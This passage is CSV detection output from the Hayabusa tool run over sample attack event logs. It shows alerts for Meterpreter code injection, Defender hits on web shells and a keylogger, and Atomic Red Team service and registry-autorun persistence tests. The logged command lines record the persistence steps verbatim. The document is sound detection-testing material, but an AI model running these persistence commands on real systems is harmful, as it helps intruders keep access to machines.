Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.145 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.145 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.160 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.160 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.176 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.176 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.192 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.192 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.207 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.207 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.223 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.223 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.239 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.239 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\notepad.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,1,high,Rundll32 Without Parameters,,rules/sigma/process_creation/win_rundll32_without_parameters.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-04 05:39:30.254 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Sysmon_meterpreter_ReflectivePEInjection_to_notepad_.evtx +2019-07-19 05:40:00.730 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Trojan:PowerShell/Powersploit.M : Severity: Severe : Type: Trojan : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1056\Get-Keystrokes.ps1 : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:40:00.730 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:40:16.396 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Trojan:XML/Exeselrun.gen!A : Severity: Severe : Type: Trojan : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1086\payloads\test.xsl : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:40:16.396 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:16.418 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: HackTool:JS/Jsprat : Severity: High : Type: Tool : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0005) : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:16.418 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:16.418 +09:00,MSEDGEWIN10,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:17.508 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Backdoor:ASP/Ace.T : Severity: Severe : Type: Backdoor : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\cmd.aspx : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:17.508 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:48.236 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: Trojan:Win32/Sehyioa.A!cl : Severity: Severe : Type: Trojan : User: MSEDGEWIN10\IEUser : Path: file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1218\src\Win32\T1218-2.dll : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:41:48.236 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.275 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.798 +09:00,MSEDGEWIN10,1116,high,Windows Defender Alert,Threat: HackTool:JS/Jsprat : Severity: High : Type: Tool : User: MSEDGEWIN10\IEUser : Path: containerfile:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp; file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0005); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0037); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0045); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0065); file:_C:\AtomicRedTeam\atomic-red-team-master\atomics\T1100\shells\b.jsp->(SCRIPT0068) : Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,rules/hayabusa/default/alerts/WindowsDefender/1116_Multiple_WindowsDefenderAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.798 +09:00,MSEDGEWIN10,1116,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:51:50.798 +09:00,MSEDGEWIN10,1116,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.900 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.902 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.905 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.905 +09:00,MSEDGEWIN10,1117,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 05:53:31.952 +09:00,MSEDGEWIN10,1117,high,Windows Defender Threat Detected,,rules/sigma/other/windefend/win_defender_threat.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/WinDefender_Events_1117_1116_AtomicRedTeam.evtx +2019-07-19 23:42:51.446 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 4516 288 0000023C0CA21C70 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:42:53.295 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:43:03.303 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:43:03.303 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.161 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe create AtomicTestService binPath= C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.161 +09:00,-,-,low,Quick Execution of a Series of Suspicious Commands,[condition] count() by MachineName > 5 in timeframe [result] count:21 MachineName:null timeframe:5m,rules/sigma/process_creation/win_multiple_suspicious_cli.yml,- +2019-07-19 23:44:08.185 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe create AtomicTestService binPath= C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe create AtomicTestService binPath= C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.185 +09:00,MSEDGEWIN10,1,low,New Service Creation,,rules/sigma/process_creation/win_new_service_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.268 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe start AtomicTestService"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.288 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe start AtomicTestService : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe start AtomicTestService""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.307 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : Path: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.150 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe stop AtomicTestService"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.176 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe stop AtomicTestService : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe stop AtomicTestService""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.176 +09:00,MSEDGEWIN10,1,low,Stop Windows Service,,rules/sigma/process_creation/win_service_stop.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.253 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe delete AtomicTestService"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.278 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe delete AtomicTestService : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe delete AtomicTestService""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.351 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:32.101 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : Path: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.219 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /t REG_SZ /F /D C:\Path\AtomicRedTeam.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.219 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.258 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG ADD "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /t REG_SZ /F /D C:\Path\AtomicRedTeam.exe : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /t REG_SZ /F /D C:\Path\AtomicRedTeam.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.258 +09:00,MSEDGEWIN10,1,medium,Direct Autorun Keys Modification,,rules/sigma/process_creation/win_susp_direct_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.258 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.292 +09:00,MSEDGEWIN10,13,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.292 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.330 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.349 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG DELETE "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.371 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.371 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.402 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.075 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "" C:\Path\AtomicRedTeam.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.075 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.137 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d C:\Path\AtomicRedTeam.dll : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "" C:\Path\AtomicRedTeam.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.137 +09:00,MSEDGEWIN10,1,medium,Direct Autorun Keys Modification,,rules/sigma/process_creation/win_susp_direct_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.137 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN 